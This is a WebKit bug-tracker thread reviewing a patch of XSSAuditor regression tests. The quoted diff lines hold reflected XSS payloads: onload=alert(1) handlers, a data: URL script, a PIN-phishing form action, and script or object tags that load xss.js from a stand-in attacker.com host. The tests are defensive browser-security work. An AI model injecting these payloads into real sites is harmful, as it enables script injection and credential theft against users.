Import XSSAuditor tests from David Ross
Created attachment 82676 [details] Patch
Comment on attachment 82676 [details] Patch The test output isn't very nice. Should we put these in their own folder? Otherwise looks OK.
Comment on attachment 82676 [details] Patch View in context: https://bugs.webkit.org/attachment.cgi?id=82676&action=review > LayoutTests/http/tests/security/xssAuditor/form-action.html:12 > +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<form%20action=http://attacker.com/%20method=x><input%20type=submit><input%20name=x%20value='Please%20type%20your%20PIN.'>"> It should be sufficient to reference http://127.0.0.1:8000 instead of attacker.com here. > LayoutTests/http/tests/security/xssAuditor/iframe-injection.html:12 > +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<iframe%20src='http://attacker.com/'></iframe>"> Ditto. > LayoutTests/http/tests/security/xssAuditor/open-attribute-body.html:12 > +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-property.pl?q=%22%20onload=alert(1)//"> Minor nit, we have been pretty fairly consistent (not always) in using /XSS/ for alert message. This is not a deal-breaker. Although, for most of WebKit, we favor messages with PASS or FAIL. Just thought to mention this. > LayoutTests/http/tests/security/xssAuditor/open-event-handler-iframe.html:12 > +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<iframe%20onload=alert(1)//"> Ditto. > LayoutTests/http/tests/security/xssAuditor/open-iframe-src-expected.txt:1 > + Is this suppose to be empty? > LayoutTests/http/tests/security/xssAuditor/open-script-src-expected.txt:1 > + Is this suppose to be empty? > LayoutTests/http/tests/security/xssAuditor/open-script-src.html:16 > +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=<script%20src=http://attacker.com/xss.js?>"></iframe> > +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=<script%20src=http://attacker.com/xss.js?"></iframe> > +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=<object%20data=http://attacker.com/xss.js?>"></iframe> > +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=<object%20data=http://attacker.com/xss.js?"></iframe> > +</body> It should be sufficient to use http://127.0.0.1:8000/security/xssAuditor/resources/xss.js instead of http://attacker.com/xss.js. Also, the reference script is "xss.js?". Is the '?' necessary? If so, then it should be URL-encoded.
Comment on attachment 82676 [details] Patch I didn't mean to clear the review flag. I'm still looking over the patch since the review tool prevented me from scrolling to the bottom of the patch given I enlarged the general comment text field (by clicking on it).
> Should we put these in their own folder? They're already in an XSSAuditor folder. It's just from an email he sent me. I don't think it need another folder.
Comment on attachment 82676 [details] Patch View in context: https://bugs.webkit.org/attachment.cgi?id=82676&action=review >> LayoutTests/http/tests/security/xssAuditor/form-action.html:12 >> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<form%20action=http://attacker.com/%20method=x><input%20type=submit><input%20name=x%20value='Please%20type%20your%20PIN.'>"> > > It should be sufficient to reference http://127.0.0.1:8000 instead of attacker.com here. Done >> LayoutTests/http/tests/security/xssAuditor/iframe-injection.html:12 >> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<iframe%20src='http://attacker.com/'></iframe>"> > > Ditto. Done. >> LayoutTests/http/tests/security/xssAuditor/open-attribute-body.html:12 >> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-property.pl?q=%22%20onload=alert(1)//"> > > Minor nit, we have been pretty fairly consistent (not always) in using /XSS/ for alert message. This is not a deal-breaker. Although, for most of WebKit, we favor messages with PASS or FAIL. Just thought to mention this. Done. >> LayoutTests/http/tests/security/xssAuditor/open-event-handler-iframe.html:12 >> +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<iframe%20onload=alert(1)//"> > > Ditto. Done. >> LayoutTests/http/tests/security/xssAuditor/open-iframe-src-expected.txt:1 >> + > > Is this suppose to be empty? Yes. It will be non-empty once we pass the test. >> LayoutTests/http/tests/security/xssAuditor/open-script-src-expected.txt:1 >> + > > Is this suppose to be empty? Same. >> LayoutTests/http/tests/security/xssAuditor/open-script-src.html:16 >> +</body> > > It should be sufficient to use http://127.0.0.1:8000/security/xssAuditor/resources/xss.js instead of http://attacker.com/xss.js. > > Also, the reference script is "xss.js?". Is the '?' necessary? If so, then it should be URL-encoded. I've changed the URL as requested. The ? is necessary. David didn't escape it, so I'm inclined to leave it.
Created attachment 82699 [details] Patch
Comment on attachment 82699 [details] Patch View in context: https://bugs.webkit.org/attachment.cgi?id=82699&action=review Thanks Adam for updating the patch. This patch looks good. My only suggestion is that we file bugs for form-action.html and iframe-injection.html to remember to follow up and/or add a comment to the file to indicate that these tests are expected to fail so as to make the empty file expected results less mysterious in the meantime. > LayoutTests/http/tests/security/xssAuditor/script-tag-with-source-data-url.html:12 > +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<script%20src=%22data:,alert(1)%22"> Remark: You also use "alert(1)" here.
> Thanks Adam for updating the patch. This patch looks good. My only suggestion is that we file bugs for form-action.html and iframe-injection.html to remember to follow up and/or add a comment to the file to indicate that these tests are expected to fail so as to make the empty file expected results less mysterious in the meantime. Ok. My plan is to just fix them.
(In reply to comment #8) > (From update of attachment 82699 [details]) > View in context: https://bugs.webkit.org/attachment.cgi?id=82699&action=review > > Thanks Adam for updating the patch. This patch looks good. My only suggestion is that we file bugs for form-action.html and iframe-injection.html to remember to follow up and/or add a comment to the file to indicate that these tests are expected to fail so as to make the empty file expected results less mysterious in the meantime. Also, open-script-src and open-iframe-src have empty expected result files as well. I noticed that between patches the expected results for iframe-injection.html changed. Previously, they were: "Blocked access to external URL http://attacker.com/" Now, the expected results file iframe-injection-expected.txt is empty. I expected the latter (which we have now). I am curious about that "Blocked access" message.
> Also, open-script-src and open-iframe-src have empty expected result files as well. Yep. They need to be fixed. > I noticed that between patches the expected results for iframe-injection.html changed. Previously, they were: > > "Blocked access to external URL http://attacker.com/" > > Now, the expected results file iframe-injection-expected.txt is empty. > > I expected the latter (which we have now). I am curious about that "Blocked access" message. That was DRT telling us that we tried to load attacker.com. It blocked it because we're not allowed to talk to external web sites during testing.
(In reply to comment #8) > (From update of attachment 82699 [details]) > View in context: https://bugs.webkit.org/attachment.cgi?id=82699&action=review > > > LayoutTests/http/tests/security/xssAuditor/script-tag-with-source-data-url.html:12 > > +<iframe src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<script%20src=%22data:,alert(1)%22"> > > Remark: You also use "alert(1)" here. Oops. I'll fix this in a followup.
Comment on attachment 82699 [details] Patch Clearing flags on attachment: 82699 Committed r78776: <http://trac.webkit.org/changeset/78776>
All reviewed patches have been landed. Closing bug.
The new http/tests/security/xssAuditor/script-tag-with-fancy-unicode.html test fails on Qt. I filed a new bug on it: https://bugs.webkit.org/show_bug.cgi?id=54630